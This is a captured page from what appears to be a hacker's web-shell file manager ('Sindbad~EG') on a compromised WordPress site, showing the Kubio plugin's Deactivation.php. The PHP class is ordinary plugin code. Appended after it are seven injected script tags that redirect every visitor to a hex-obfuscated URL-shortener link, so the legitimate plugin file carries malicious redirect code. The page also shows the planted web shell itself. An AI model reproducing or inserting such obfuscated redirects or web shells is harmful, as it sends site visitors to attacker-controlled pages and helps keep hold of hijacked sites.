Sindbad~EG File Manager

Current Path : /home/admin/ZIGHAM.blog.lppelm.o2switch.site/wp-content/plugins/kubio/lib/src/Core/
Upload File :
Current File : /home/admin/ZIGHAM.blog.lppelm.o2switch.site/wp-content/plugins/kubio/lib/src/Core/Deactivation.php

<?php

namespace Kubio\Core;

use Kubio\Flags;

class Deactivation {

	private static $instance = null;

	public static function load() {
		if ( ! self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	public function __construct() {
		add_action( 'kubio/plugin_deactivated', array( $this, 'deactivate' ) );
	}

	public function deactivate() {

		$active_plugins = get_option( 'active_plugins', array() );

		$current_plugin_file = trim( str_replace( wp_normalize_path( WP_PLUGIN_DIR ), '', wp_normalize_path( KUBIO_ENTRY_FILE ) ), '/' );
		$active_plugins      = array_diff( $active_plugins, array( $current_plugin_file ) );

		// if another kubio plugin is still active ( pro or free version ) skip backup
		foreach ( $active_plugins as $active_plugin ) {
			if ( strpos( $active_plugin, 'kubio/' ) === 0 || strpos( $active_plugin, 'kubio-pro/' ) === 0 ) {
				return;
			}
		}

		$identifier = uniqid( 'bkp-deactivation-' );
		$backup     = new Backup();
		$result     = $backup->backupSiteStructureAndStyle( $identifier );

		// stop deactivating block templates is the backup fails
		if ( is_wp_error( $result ) ) {
			return;
		}

		$template = get_stylesheet();
		Flags::setSetting( "deactivation_backup_key.{$template}", $identifier );
		$this->deleteBlockTemplates( 'wp_template' );
		$this->deleteBlockTemplates( 'wp_template_part' );

	}

	private function deleteBlockTemplates( $post_type = 'wp_template' ) {
		$entities = get_block_templates( array(), $post_type );

		foreach ( $entities as $entity ) {
			wp_delete_post( $entity->wp_id, true );
		}
	}

}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";</script>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists